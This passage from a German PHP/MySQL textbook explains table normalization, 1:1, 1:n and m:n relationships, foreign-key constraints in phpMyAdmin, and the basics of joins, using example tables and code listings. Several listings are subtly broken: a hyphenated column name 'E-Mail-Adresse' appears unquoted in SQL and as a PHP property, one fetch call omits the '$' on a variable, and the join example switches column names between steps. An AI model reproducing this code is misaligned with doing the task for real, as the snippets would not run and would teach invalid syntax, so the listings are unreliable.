                                17

                            
                            	
                                Falco

                            
                            	
                                Falco

                            
                            	
                                1

                            
                        

                    
                

                Tabelle 12.30    
            Die Personentabelle wurde um das Geburtsland erweitert.

                So könnte es immer weitergehen. Das Geschlecht einer Person wäre ein ähnlicher Fall: Man legt eine eigene Tabelle für die Geschlechter an und verweist aus der Personentabelle heraus auf das jeweilige Geschlecht:

                
                    
                        
                            	
                                IDGeschlecht

                            
                            	
                                Geschlecht

                            
                            	
                                Kurzzeichen

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                weiblich

                            
                            	
                                w

                            
                        

                        
                            	
                                2

                            
                            	
                                männlich

                            
                            	
                                m

                            
                        

                        
                            	
                                3

                            
                            	
                                divers

                            
                            	
                                d

                            
                        

                    
                

                Tabelle 12.31    
            Eine Geschlechtertabelle samt Kurzzeichen

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                FIDGeburtsland

                            
                            	
                                FIDGeschlecht

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                            	
                                1

                            
                            	
                                2

                            
                        

                        
                            	
                                5

                            
                            	
                                Silvia

                            
                            	
                                Mutz

                            
                            	
                                1

                            
                            	
                                1

                            
                        

                        
                            	
                                8

                            
                            	
                                Herbert

                            
                            	
                                Karajan

                            
                            	
                                1

                            
                            	
                                2

                            
                        

                        
                            	
                                11

                            
                            	
                                Ludwig

                            
                            	
                                van Beethoven

                            
                            	
                                2

                            
                            	
                                2

                            
                        

                        
                            	
                                12

                            
                            	
                                Amadeus

                            
                            	
                                Wolfgang

                            
                            	
                                1

                            
                            	
                                2

                            
                        

                        
                            	
                                17

                            
                            	
                                Falco

                            
                            	
                                Falco

                            
                            	
                                1

                            
                            	
                                2

                            
                        

                    
                

                Tabelle 12.32    
            Die Personentabelle wurde erneut erweitert: Nun besitzt eine jede Person auch ein Geschlecht.

                Eine kleine Anmerkung: Sollten Sie im Nachhinein einer Tabelle neue Felder hinzufügen wollen, so erledigen Sie dies in der Strukturansicht, indem Sie unterhalb der bestehenden Felder den Bereich Spalten einfüge(n) nutzen (siehe Abbildung 12.19).

                
                    [image: Wenn Sie phpMyAdmin nutzen, ist es ganz einfach, neue Spalten (Felder) in Tabellen einzufügen.]

                    Abbildung 12.19    
            Wenn Sie phpMyAdmin nutzen, ist es ganz einfach, neue Spalten (Felder) in Tabellen einzufügen.

                
            
            
                Eine Person mit Zusatzinformationen

                In der Praxis werden Sie häufig zu ausgewählten (aber nicht allen) Datensätzen zusätzliche Informationen speichern müssen. Denken Sie beispielsweise an unsere User-Tabelle: Derzeit unterscheiden wir nicht zwischen den Usern eines Systems. Aber nehmen wir an, wir haben unter unseren Usern auch solche, die uns wichtiger sind und von denen wir deshalb noch mehrere Informationen (wie Postadresse o. Ä.) speichern müssen. Ein erster Ansatz wäre Tabelle 12.33:

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                            	
                                Adresse

                            
                            	
                                PLZ

                            
                            	
                                Ort

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                            	
                                Teststr. 1

                            
                            	
                                1234

                            
                            	
                                Testort

                            
                        

                        
                            	
                                5

                            
                            	
                                Silvia

                            
                            	
                                Mutz

                            
                            	
                                Teststr. 2

                            
                            	
                                2345

                            
                            	
                                Testdorf

                            
                        

                        
                            	
                                8

                            
                            	
                                Herbert

                            
                            	
                                Karajan

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                        

                        
                            	
                                11

                            
                            	
                                Ludwig

                            
                            	
                                van Beethoven

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                        

                        
                            	
                                12

                            
                            	
                                Amadeus

                            
                            	
                                Wolfgang

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                            	
                                NULL

                            
                        

                        
                            	
                                17

                            
                            	
                                Falco

                            
                            	
                                Falco

                            
                            	
                                Falkenstr. 8

                            
                            	
                                3531

                            
                            	
                                Falkenhorst

                            
                        

                    
                

                Tabelle 12.33    
            Die Personentabelle enthält für ausgewählte Personen verpflichtende Daten.

                Dies würde unweigerlich zu dem Problem führen, dass für manche User zusätzliche Informationen gespeichert werden sollen, für andere jedoch nicht. Das wiederum führt dazu, dass die zugehörigen Spalten (Adresse, PLZ, Ort) manchmal leer bleiben müssen und manchmal gefüllt werden müssen. Die Situation ist also nicht die, dass die Spalten Adresse, PLZ und Ort eine Art »freiwillige Angaben« sind, sondern dass sie eben zwingend für manche, aber nicht erlaubt für andere User sind. Die Lösung dazu lautet wieder einmal: Lagern Sie die Daten in eine separate Tabelle mit Verweis auf die betreffende Person aus:

                
                    
                        
                            	
                                IDAdresse

                            
                            	
                                FIDPerson

                            
                            	
                                Adresse

                            
                            	
                                PLZ

                            
                            	
                                Ort

                            
                        

                    
                    
                        
                            	
                                1

                            
                            	
                                3

                            
                            	
                                Teststr. 1

                            
                            	
                                1234

                            
                            	
                                Testort

                            
                        

                        
                            	
                                2

                            
                            	
                                5

                            
                            	
                                Teststr. 2

                            
                            	
                                2345

                            
                            	
                                Testdorf

                            
                        

                        
                            	
                                3

                            
                            	
                                17

                            
                            	
                                Falkenstr. 8

                            
                            	
                                3531

                            
                            	
                                Falkenhorst

                            
                        

                    
                

                Tabelle 12.34    
            Die Adresstabelle enthält neben der Adresse einer Person auch den Verweis auf diese.

                
                    
                        
                            	
                                IDPerson

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                3

                            
                            	
                                Uwe

                            
                            	
                                Mutz

                            
                        

                        
                            	
                                5

                            
                            	
                                Silvia

                            
                            	
                                Mutz

                            
                        

                        
                            	
                                8

                            
                            	
                                Herbert

                            
                            	
                                Karajan

                            
                        

                        
                            	
                                11

                            
                            	
                                Ludwig

                            
                            	
                                van Beethoven

                            
                        

                        
                            	
                                12

                            
                            	
                                Amadeus

                            
                            	
                                Wolfgang

                            
                        

                        
                            	
                                17

                            
                            	
                                Falco

                            
                            	
                                Falco

                            
                        

                    
                

                Tabelle 12.35    
            Die Personentabelle enthält nur noch die Personendaten.

                
                    [»]  Eine Person mit mehreren Adressen

                    Im oben gezeigten Tabellenkonstrukt mit einer Personen- und einer Adresstabelle wäre es theoretisch möglich, dass einer Person mehrere Adressen zugewiesen werden können. Sollte dies nicht gewünscht sein (und in diesem Beispiel wäre das tatsächlich der Fall), so müsste man dem Feld FIDPerson den Index UNIQUE zuweisen. Dieser Index sagt aus, dass jeder Wert in diesem Feld einzigartig sein muss und demnach nicht doppelt vorkommen darf.

                

                Ein anderes Beispiel wäre etwa Folgendes: Angenommen, es soll ein Datenbankmodell für eine Weiterbildungsinstitution erstellt werden. Hierbei kann man zunächst annehmen, dass sehr viele Personen involviert sein werden, die wir grob wie folgt kategorisieren könnten:

                
                    	
                        Mitarbeiter der Weiterbildungsinstitution

                    

                    	
                        Vortragende an der Weiterbildungsinstitution

                    

                    	
                        Teilnehmer von angebotenen Kursen der Weiterbildungsinstitution

                    

                

                Da es sich grundsätzlich um Personen handelt, könnte man zunächst davon ausgehen, diese in einer Personen-Tabelle abzubilden. Jedoch besitzt ein Mitarbeiter (unter anderem) eine Mitarbeiternummer (MANr), ein Vortragender eine Vortragendennummer (VNr) und ein Teilnehmer eine Teilnehmernummer (TNr). Würde man diese Informationen alle in der Personentabelle darstellen, so blieben immer Spalten leer, da nicht anzunehmen ist, dass jede Person sowohl Mitarbeiter als auch Vortragender und Teilnehmer ist (möglich wäre natürlich schon).

                Aus diesem Grund lagert man all diejenigen Informationen aus, die nicht für alle Personen gleichermaßen benötigt werden, und zwar in Form je einer Mitarbeiter-, Vortragenden- und Teilnehmertabelle, in denen die weiteren benötigten Daten sowie ein Verweis auf die Personentabelle gespeichert werden. Da in jeder dieser Tabellen maximal ein Datensatz einer Person zugewiesen wird, spricht man von einer 1:1-Beziehung.

                
                    [ ! ]  1:1-Beziehungen und Joins

                    1:1-Beziehungen ermöglichen das Auslesen von Daten aus zwei Tabellen mithilfe von Joins aus beiden Richtungen: von der Haupt- zur Untertabelle wie auch von der Unter- zur Haupttabelle.

                

            
        
        
            12.9.3    Arten von Beziehungen zwischen Tabellen

            Durch das Normalisieren bzw. das Setzen von Constraints entstehen zwischen Tabellen Beziehungen. Je nachdem, welche Daten in den einzelnen Tabellen abgelegt werden, geben wir den so entstandenen Beziehungen Bezeichnungen: 1:n-Beziehung, 1:1-Beziehung und m:n-Beziehung. Fassen wir die Thematik also noch einmal zusammen.

            
                Die 1:n-Beziehung

                Bei einer 1:n-Beziehung sind einem Datensatz der Haupttabelle (das ist diejenige Tabelle, in der sich der Primärschlüssel im Rahmen dieser Beziehung befindet) beliebig viele Datensätze einer Untertabelle zugewiesen. (Die Untertabelle ist diejenige Tabelle, in der sich der Fremdschlüssel im Rahmen dieser Beziehung befindet.) Abbildung 12.20 zeigt ein grafisches Beispiel.

                
                    [image: Einer Person sind können keine, eine oder mehrere Telefonnummern zugewiesen werden. In diesem Beispiel hat der User mit der IDU=11 zwei zugewiesene Telefonnummern und der User mit der IDU=47 eine zugewiesene Telefonnummer.]

                    Abbildung 12.20    
            Einer Person sind können keine, eine oder mehrere Telefonnummern zugewiesen werden. In diesem Beispiel hat der User mit der IDU=11 zwei zugewiesene Telefonnummern und der User mit der IDU=47 eine zugewiesene Telefonnummer.

                
                Beispielsweise können einer Person (aus der Personentabelle tbl_user) mehrere Telefonnummern (Telefonnummerntabelle tbl_telnos) zugewiesen sein. Möchten Sie nun beispielsweise alle Personen samt ihrer Telefonnummern ausgeben, so gehen Sie zunächst einmal von der Haupttabelle (tbl_user in unserem Fall) aus und listen alle Personen mithilfe einer Schleife auf. Das folgende Code-Snippet zeigt dieses Vorgehen, wobei wir wiederum von einer Datenbankanbindung ausgehen, wie sie in Abschnitt 12.5 vorgestellt wurde:

                echo('<ul>');
$sql = "


                  SELECT IDUser,E-Mail-Adresse,Vorname,Nachname FROM tbl_user
  ORDER BY Nachname ASC, Vorname ASC
";


                $userliste = query($GLOBALS["conn"],$sql);
while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>IDUser: ' . $user->IDUser .', E-Mail-Adresse: ' . ↩
$user->E-Mail-Adresse . ', Name (optional): ' . ↩
$user->Vorname . ' ' . $user->Nachname . ↩
'</li>
  ');
}
echo('</ul>'); 


                Im obigen Beispiel werden die IDUser, die E-Mail-Adresse sowie der Vor- und der Nachname (die optional sind) eines Users ausgeben. In weiterer Folge sollen nun aber auch sämtliche zugehörigen Telefonnummern je User dargestellt werden. Dies bedeutet, dass Sie innerhalb der Schleife (also je User) die Telefonnummerntabelle abfragen müssen, um an die Telefonnummern dieses Users zu gelangen – unten sehen Sie auszugsweise den benötigten Code:

                ...


                while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>
      IDUser: ' . $user->IDUser .', E-Mail-Adresse: ' . ↩ 
$user->E-Mail-Adresse . ', Name (optional): ' . ↩ 
$user->Vorname . ' ' . $user->Nachname . '
      <ul>'
  );
 
  // ---- Telefonnummern des jeweiligen Users: ----
  $sql = " 


                    SELECT Telno FROM tbl_telnos WHERE(FIDPerson=" . $user->IDUser . ")


                  ";
  ...
  // ----------------------------------------------
 
  echo('</ul></li>');
}
... 


                Beachten Sie insbesondere folgende Punkte:

                
                    	
                        Im SELECT-Statement der Abfrage der Telefonnummern muss mithilfe eines Filters angegeben werden, für welche Person (IDUser aus der User-Tabelle) die Telefonnummern abgefragt werden sollen.

                    

                    	
                        Die Variable (korrekt: das Objekt) $userliste darf innerhalb der bestehenden while-Schleife nicht erneut verwendet werden, da das Objekt noch in Verwendung ist und ansonsten überschrieben werden würde. Verwenden Sie stattdessen eine andere Variable, z. B. $telnos.

                    

                

                
                    [+]  Eindeutige Namen

                    Lassen Sie keine Verwirrung bei der Namensgebung aufkommen: Es ist sinnvoller, die Objekte, die wir einerseits nach einem query- und andererseits nach einem fetch-Befehl erhalten, eindeutig zu benennen: Anstatt die zurückerhaltene Datenmenge als $daten zu bezeichnen, bezeichnen wir sie besser als $userliste oder als $telnos. Selbiges gilt dann auch für einen konkreten Datensatz: Statt $datensatz verwenden wir $user oder $telno.

                

                Da nun eine Menge an Datensätzen vom Datenbankserver zurückgeliefert wird (nämlich die gewünschten Telefonnummern), muss das SQL-Statement an den Datenbankserver übermittelt werden. Zum Auslesen der Daten dient wiederum eine while-Schleife:

                ...
while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>
      IDUser: ' . $user->IDUser .', E-Mail-Adresse: ' . ↩ 
$user->E-Mail-Adresse . ', Name (optional): ' . ↩ 
$user->Vorname . ' ' . $user->Nachname . '
      <ul>'
  );
 
  // ---- Telefonnummern des jeweiligen Users: ----
  $sql = " 


                    SELECT Telno FROM tbl_telnos WHERE(FIDPerson=" . $user->IDUser . ")


                  ";
  $telnos = query($GLOBALS["conn"],$sql);
  while($telno = fetch($GLOBALS["conn"],$telnos)) {
    echo('<li>' . $telno->Telno . '</li>');
  }
  // ----------------------------------------------
 
  echo('</ul></li>');
}
... 


                Nun werden alle der Person zugeordneten Telefonnummern mit ausgegeben. Der vollständige Code ist nachstehend dargestellt:

                <?php
require("../../includes/config.inc.php");
require("../../includes/common.inc.php");
require("../../includes/conn.inc.php");
$GLOBALS["conn"] = dbconnect();
?>


                <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Beziehungen</title>
</head>
 
<body>


                <?php
echo('<ul>');
$sql = "


                  SELECT
    IDUser,
    E-Mail-Adresse,
    Vorname,
    Nachname
  FROM tbl_user
  ORDER BY Nachname ASC, Vorname ASC


                ";
$userliste = query($GLOBALS["conn"],$sql);
while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>
      IDUser: ' . $user->IDUser .', E-Mail-Adresse: ' . ↩ 
$user->E-Mail-Adresse . ', Name (optional): ' . $user->Vorname . ' ' . ↩ $user->Nachname . '
      <ul>'
  );
 
  // ---- Telefonnummern des jeweiligen Users: ----
  $sql = " 


                    SELECT
      Telno
    FROM tbl_telnos
    WHERE(
      FIDPerson=" . $user->IDUser . "
    ) 


                  ";
  $telnos = query($GLOBALS["conn"],$sql);
  while($telno = fetch($GLOBALS["conn"],telnos)) {
    echo('<li>' . $telno->Telno . '</li>');
  }
  // ----------------------------------------------
 
  echo('</ul></li>');
}
echo('</ul>');
?> 


                </body>
</html>


                
                    [ ! ]  Der Nachteil von einer »Schleife-in-der-Schleife«

                    Nachteilig an diesem Code ist, dass wir pro Person immer wieder die Datenbank befragen müssen, ob es zugewiesene Telefonnummern gibt. Beispielsweise würden wir im Falle von 100 Personen dann insgesamt 101-mal den Datenbankserver kontaktieren: einmal zum Auslesen sämtlicher Personen und hundertmal zum Abfragen, ob zur jeweiligen Person Telefonnummern gespeichert sind. Das könnte die Performance unserer Website negativ beeinflussen, wenn etwa der Datenbank- und der Webserver auf unterschiedlicher Hardware installiert sind (und gegebenenfalls die Hardware auch an unterschiedlichen Orten stationiert ist). Auch darüber müssen wir uns noch Gedanken machen.

                

                Versuchen wir uns nun an einem anderen Blickwinkel: Würden wir die Sache von der anderen Seite angehen und danach fragen, dass alle Telefonnummern mitsamt der Daten der Person ausgegeben werden, so könnten wir zwar den folgenden Code einsetzen, jedoch gibt es eine schönere Lösung, wie Sie in Abschnitt 12.9.5 sehen werden.

                echo('<ul>');
$sql = "SELECT FIDPerson,Telno FROM tbl_telnos";
$telnos = query($GLOBALS["conn"],$sql);
while($telno = fetch($GLOBALS["conn"],$telnos)) {
  // ---- Person zur Telefonnummer: ----
  $sql = "
    SELECT E-Mail-Adresse,Vorname,Nachname FROM tbl_user


                    WHERE(IDUser=" . $telno->FIDPerson . ")


                  ";
  $userliste = query($GLOBALS["conn"],$sql);
  $user = fetch($GLOBALS["conn"],$userliste);
  // -----------------------------------
  echo('
    <li>
      Telno: ' . $telno->Telno .', User: ' . $user->E-Mail-Adresse . ↩
', Name (optional): ' . $user->Vorname . ' ' . $user->Nachname . '
    </li>'
  );
}
echo('</ul>'); 


                Zu jeder Telefonnummer wird über die FIDPerson-Spalte der zugehörige User ermittelt. Weil es sich nur um einen einzigen Datensatz handeln kann, der zu einer Telefonnummer in der Personentabelle gespeichert ist, benötigen wir zum Auslesen der gelesenen Daten auch keine Schleife, sondern nur einen einzigen Aufruf der Funktion fetch.

            
            
                Die 1:1-Beziehung

                Eine 1:1-Beziehung dann vor, wenn einem Datensatz einer Tabelle maximal ein Datensatz einer anderen Tabelle zugewiesen werden kann. Solche Beziehungen können also als Erweiterungen von bestehenden Tabellen angesehen werden, wie Sie sie bereits im vorangegangenen Abschnitt kennengelernt haben. Abbildung 12.21 zeigt ein Beispiel.

                An dieser Stelle dürfte Ihnen noch völlig unklar sein, wie wir nun aus zwei Tabellen gleichzeitig die zusammengehörigen Daten auslesen können, ohne dass wir pro Person immer wieder eine Anfrage an die verbundene Tabelle stellen. Die Antwort liefert Abschnitt 12.9.5.

                
                    [image: Im Fall einer 1:1-Beziehung kann einem Datensatz einer Tabelle kein Datensatz oder ein Datensatz aus einer anderen Tabelle zugewiesen werden. Im obigen Beispiel erhält der User mit der IDU=11 beispielsweise eine Teilnehmernummer zugewiesen, der User mit der IDU=47 jedoch nicht.]

                    Abbildung 12.21    
            Im Fall einer 1:1-Beziehung kann einem Datensatz einer Tabelle kein Datensatz oder ein Datensatz aus einer anderen Tabelle zugewiesen werden. Im obigen Beispiel erhält der User mit der IDU=11 beispielsweise eine Teilnehmernummer zugewiesen, der User mit der IDU=47 jedoch nicht.

                
            
            
                Die m:n-Beziehung

                Eine m:n-Beziehung ist letzten Endes nicht anderes als zwei 1:n-Beziehungen, die sich über eine verbindende Tabelle darstellen lassen. Denkt man beispielsweise an den Verkauf von Produkten, so bildet man einerseits eine Produkttabelle und andererseits eine Kundentabelle ab. Verbunden werden beide durch eine Verkaufstabelle, in der gespeichert wird, welcher Kunde (über die Kunden-ID) welches Produkt (über die Produkt-ID) wie oft und zu welchem Zeitpunkt gekauft hat. Abbildung 12.22 zeigt ein Beispiel.

                
                    [image: In einer Warenkorb- oder Verkaufstabelle werden die von Kunden bestellten Produkte über eine verbindende Tabelle in Beziehung gesetzt. Üblicherweise wird in diesem speziellen Fall beispielsweise auch eine Anzahl der gewünschten Produkte gespeichert.]

                    Abbildung 12.22    
            In einer Warenkorb- oder Verkaufstabelle werden die von Kunden bestellten Produkte über eine verbindende Tabelle in Beziehung gesetzt. Üblicherweise wird in diesem speziellen Fall beispielsweise auch eine Anzahl der gewünschten Produkte gespeichert.

                
            
        
        
            12.9.4    Zurück zur Praxis: Beziehungen in phpMyAdmin anlegen

            Befassen wir uns wieder mit der Musikverwaltungsdatenbank aus Abschnitt 12.9.1 mit den Tabellen tbl_interpreten, tbl_alben und tbl_songs. Zur Erinnerung:

            
                	
                    Die Songs-Tabelle tbl_songs verweist über das Feld FIDAlbum auf das Album (respektive auf den Eintrag im Feld IDAlbum desjenigen Albums in der Tabelle tbl_alben), auf dem sich die Songs befinden.

                

                	
                    Die Alben-Tabelle tbl_alben verweist über das Feld FIDInterpret auf den Interpreten, der für dieses Album verantwortlich zeichnet.

                

            

            Das bedeutet, wir müssen zwei Beziehungen herstellen:

            
                	
                    eine Beziehung zwischen der Songs- und der Alben-Tabelle, ausgehend von der Songs-Tabelle

                

                	
                    eine Beziehung zwischen der Alben- und der Interpreten-Tabelle, ausgehend von der Alben-Tabelle

                

            

            Zwei weitere Fragen müssen wir uns noch stellen:

            
                	
                    Was passiert mit den Songs, wenn ein Album gelöscht wird? Sollen diese ebenso gelöscht werden (das wäre dann eine Weitergabe CASCADE), soll der Verweis auf das Album gelöscht werden (durch Auf-NULL-Setzen des Eintrags im FIDAlbum-Feld) oder soll das Löschen des Albums verboten werden, sofern dem Album bereits Songs zugewiesen wurden?

                

                	
                    Was passiert mit dem Verweis auf das Album über das Feld FIDAlbum, wenn sich die IDAlbum des Albums ändert (was in der Praxis äußerst selten vorkommt)? Soll die Änderung des Wertes in das Feld FIDAlbum der Songs-Tabelle übernommen werden (CASCADE), soll der Verweis auf das Album gelöscht werden (durch Auf-NULL-Setzen) oder soll die Änderung verboten werden?

                

            

            Sinngemäß müssen wir diese Fragen auch für die Beziehung zwischen der Album- und der Interpreten-Tabelle beantworten. Dass es gar nicht immer so einfach ist, hierauf eine eindeutige Antwort zu finden, werden Sie noch bald genug sehen. Schlussendlich hängt die Antwort nämlich mit der Anforderung an das Projekt zusammen. Nachfolgend ein Beispiel:

            
                	
                    Die Datenbank soll Ihre eigene kleine Musikverwaltung Ihrer Alben sein. In diesem Fall wäre meine Argumentation wie folgt:

                    
                        	
                            Wenn ein Album nicht mehr existiert (beispielsweise, weil Sie es entsorgt haben), so müssen die darauf befindlichen Songs auch nicht mehr gespeichert werden: ON DELETE CASCADE

                        

                        	
                            Wenn sich aus irgendeinem Grund der Wert für IDAlbum in der Albumtabelle ändert, so soll diese Änderung an die Songs-Tabelle weitergegeben werden: ON UPDATE CASCADE

                        

                        	
                            Wenn versucht wird, einen Interpreten aus der Interpreten-Tabelle zu löschen, von dem (mindestens) ein Album in der Album-Tabelle existiert, so verbieten wir das Löschen dieses Interpreten: ON DELETE RESTRICT

                        

                        	
                            Wenn sich der Wert für IDInterpret in der Interpreten-Tabelle ändert, so soll diese Änderung an die Alben-Tabelle weitergegeben werden: ON UPDATE CASCADE

                        

                    

                

            

            
                [»]  UPDATE und CASCADE

                In den allermeisten Fällen wählt man für den UPDATE-Fall die Aktualisierungsweitergabe (CASCADE). Gerade einmal beim Anonymisieren von Daten oder in ähnlichen Fällen würde man dies nicht tun. Die goldene Regel lautet also: Wenn es sich nicht gerade um einen wirklich außergewöhnlichen Fall handelt, verwendet man bei ON UPDATE ein CASCADE und basta.

            

            Das Anlegen von Constraints in phpMyAdmin erfolgt innerhalb des Struktur-Tabs einer Tabelle, wobei die Beziehung immer von der Tabelle ausgeht, in der sich der Fremdschlüssel befindet. Starten wir mit der Songs-Tabelle.

            
                	
                    Wählen Sie die Datenbank für die Musikverwaltung (db_musikverwaltung) links in der Datenbank-Übersicht (siehe Abbildung 12.24).

                

                	
                    Wählen Sie die Songs-Tabelle (tbl_songs) links in der Tabellenübersicht der ausgewählten Datenbank.

                

                	
                    Klicken Sie auf das Struktur-Tab im horizontalen Menü der Tabelle.

                    Hier werden zunächst alle Spalten aufgelistet, die sich innerhalb der Tabelle befinden. Um eine Beziehung einer dieser Spalten zu einer Spalte einer anderen Tabelle herzustellen, müssen Sie dieser Spalte einen Index zuweisen, sofern die Spalte noch keinen Index besitzt. Der Grund ist, dass einerseits UPDATE- und DELETE-Statements performanter arbeiten und andererseits bei einem INSERT nicht die gesamte Tabelle daraufhin gescannt werden muss, ob der INSERT tatsächlich erfolgreich war. Sollten Sie also noch keinen Index gesetzt haben, scrollen Sie in diesem Fenster weiter nach unten. Sollte eine Spalte bereits einen Index besitzen, so wird diese aufgelistet. Um einen neuen Index zu vergeben, klicken Sie auf den OK-Button neben Index über 1 Spalte anlegen und geben im Fenster aus Abbildung 12.23 folgende Werte an:

                    
                        	
                            Indexname: Hier ist (fast) alles erlaubt (natürlich die üblichen Konventionen befolgend), außer der Name PRIMARY. Alternativ können Sie den Namen einfach leer lassen – phpMyAdmin wählt dann einen geeigneten Namen.

                        

                        	
                            Index Auswahl: Typischerweise wählen Sie INDEX oder UNIQUE. (PRIMARY trifft für einen Fremdschlüssel in der Regel sowieso nicht zu.)

                        

                        	
                            Wählen Sie die Spalte aus, der Sie einen Index hinzufügen wollen.

                        

                    

                    Wie gesagt: Dieser Schritt ist nur notwendig, wenn Sie beim Anlegen der Tabelle in der Datenbank noch keinen Index angegeben hatten. Gehen wir also weiter im Kontext:

                

                	
                    Klicken Sie im Fenster aus Abbildung 12.24 auf den Punkt Beziehungsansicht.

                    
                        [image: Vergeben Sie einen Index an die Fremdschlüsselspalte, sollte noch kein Fremdschlüssel existieren.]

                        Abbildung 12.23    
            Vergeben Sie einen Index an die Fremdschlüsselspalte, sollte noch kein Fremdschlüssel existieren.

                    
                    
                        [image: Die Beziehungsansicht lässt das Anlegen von Beziehungen (Constraints) zu. Beachten Sie, dass die Beziehung immer von derjenigen Tabelle ausgeht, in der sich der Fremdschlüssel befindet.]

                        Abbildung 12.24    
            Die Beziehungsansicht lässt das Anlegen von Beziehungen (Constraints) zu. Beachten Sie, dass die Beziehung immer von derjenigen Tabelle ausgeht, in der sich der Fremdschlüssel befindet.

                    
                

                	
                    Danach scrollen Sie in die Mitte der Seite und können den Fremdschlüssel vergeben: Der strichliert umrandete Bereich in Abbildung 12.24 ist der Bereich, wo wir hinwollen.

                    Um den Constraint-Namen müssen wir uns keine Gedanken machen – dieser wird, sofern wir das wollen, leer gelassen und somit automatisch vergeben. Wählen wir also nun die Einstellungen, die wir uns für die Songs-Tabelle vorgenommen haben: ON DELETE CASCADE und ON UPDATE CASCADE als Constraint zwischen der Spalte FIDAlbum aus der Songs-Tabelle und der Spalte IDAlbum aus der Album-Tabelle. Abbildung 12.25 zeigt das Ergebnis.

                

            

            
                [image: Es ist angerichtet: Der Constraint ist vorbereitet. Nun fehlt nur noch der Klick auf den »Speichern«-Button.]

                Abbildung 12.25    
            Es ist angerichtet: Der Constraint ist vorbereitet. Nun fehlt nur noch der Klick auf den »Speichern«-Button.

            
            Für die Alben-Tabelle gehen wir entsprechend vor: Links in der Datenbank-Übersicht wählen wir die Alben-Tabelle aus; in der Strukturansicht wechseln wir in die Beziehungsansicht, und dann nehmen wir die Einstellungen entsprechend unserer vorangegangenen Überlegungen vor.

            Um auch eine grafische Übersicht über die Beziehungen zu erhalten, können Sie wie folgt vorgehen:

            
                	
                    Klicken Sie links in der Datenbankliste auf die gewünschte Datenbank.

                

                	
                    Klicken Sie in der Menüleiste auf Designer (bzw. Mehr und dann auf Designer, sollte der Menüpunkt Designer nicht verfügbar sein). Wählen Sie den Designer aus.

                

            

            Nun öffnet sich die grafische Darstellung Ihrer Beziehungen (siehe Abbildung 12.26).

            Sollten Sie das ER-Diagramm speichern wollen (was immer dann sinnvoll ist, wenn Sie sich die Darstellung an Ihre Bedürfnisse anpassen), klicken Sie hierzu im Designer auf das Disketten-Symbol. Sollten Sie das gesamte Schema exportieren und somit eine kleine, feine Dokumentation Ihrer Datenbank generieren wollen, so klicken Sie auf den Punkt Schema exportieren (drittes Icon von unten in der Iconleiste) und speichern die Informationen als PDF ab.

            
                [image: Der Designer in phpMyAdmin zeigt uns eine sehr wichtige Darstellung: das sogenannte ER-Diagramm. Es bildet die Basis für die weitere programmiertechnische Umsetzung von Projekten.]

                Abbildung 12.26    
            Der Designer in phpMyAdmin zeigt uns eine sehr wichtige Darstellung: das sogenannte ER-Diagramm. Es bildet die Basis für die weitere programmiertechnische Umsetzung von Projekten.

            
        
        
            12.9.5    Gemeinsame Daten abfragen: Joins

            Es ist so weit: Wir beschäftigen uns damit, wie man aus zwei oder mehreren Tabellen auf einen Schlag die zusammengehörigen Daten abfragen kann. Hierzu nutzen wir die sogenannten Joins. Die Idee dahinter ist, dass wir – ausgehend von einer »Haupttabelle« – zunächst einmal alle uns wichtigen Felder dieser Tabelle auswählen. Was nun diese ominöse Haupttabelle ist, hängt vom Anwendungsfall ab: Sind wir beispielsweise in einer Usertabelle an den Usern interessiert, so stellt die Usertabelle die Haupttabelle dar; sind wir hingegen daran interessiert, sämtliche Telefonnummern aus einer Telefonnummern-Tabelle auszugeben, so wäre die Telefonnummern-Tabelle die Tabelle unserer Wahl.

            SELECT * FROM tbl_user


            In unserem Fall ist also die User-Tabelle die Tabelle unserer Wahl. In ihr wird auf eine Staatentabelle verwiesen, an deren zugehörigen Daten wir interessiert sind (das Geburtsland des Users). Nun gilt es, aus der/den zugehörigen Tabelle(n) alle diejenigen Spalten noch mit auszuwählen, an denen wir ebenso interessiert sind. Hierzu müssen wir jedoch genau kennzeichnen, aus welcher Tabelle welche Spalten kommen werden:

            SELECT tbl_user.*,tbl_staaten.Staat FROM tbl_user ...


            Nun müssen wir noch angeben, auf welche Art und Weise die Tabellen miteinander in Beziehung stehen. (Bitte beachten Sie die drei Punkte vor dem JOIN – sie deuten an, dass hier noch eine Information fehlt.)

            SELECT tbl_user.*,tbl_staaten.Bezeichnung FROM tbl_user
... JOIN tbl_staaten ON tbl_user.FIDGeburtsland=tbl_staaten.IDStaat


            Es existieren drei Arten von Joins in MySQL:

            
                	
                    INNER JOIN (auch JOIN oder CROSS JOIN): Er liefert nur diejenigen Datensätze zurück, in denen es zum Fremdschlüsseleintrag der Haupttabelle auch wirklich einen zugehörigen Eintrag in der Untertabelle gibt. In unserem Fall würde das bedeuten, dass wir nur diejenigen Personen erhalten, deren Geburtsland wir kennen. (Alle Personen mit FIDGeburtsland=NULL würden nicht angezeigt werden.)

                

                	
                    LEFT JOIN: Er liefert alle Datensätze aus der Haupttabelle sowie die eventuell vorhandenen Informationen aus der Untertabelle. In unserem Fall bekämen wir also alle Personen (unabhängig davon, ob wir deren Geburtsland wissen oder nicht) aus der tbl_user sowie die Bezeichnung des Geburtslandes, sofern vorhanden.

                

                	
                    RIGHT JOIN: Er liefert alle Datensätze aus der Untertabelle sowie zugehörige Daten aus der Haupttabelle. In unserem Fall bekämen wir somit alle Staaten (auch wenn den jeweiligen Staaten gar keine Personen zugewiesen wurden) sowie alle zugehörig vorhandenen Personen.

                

            

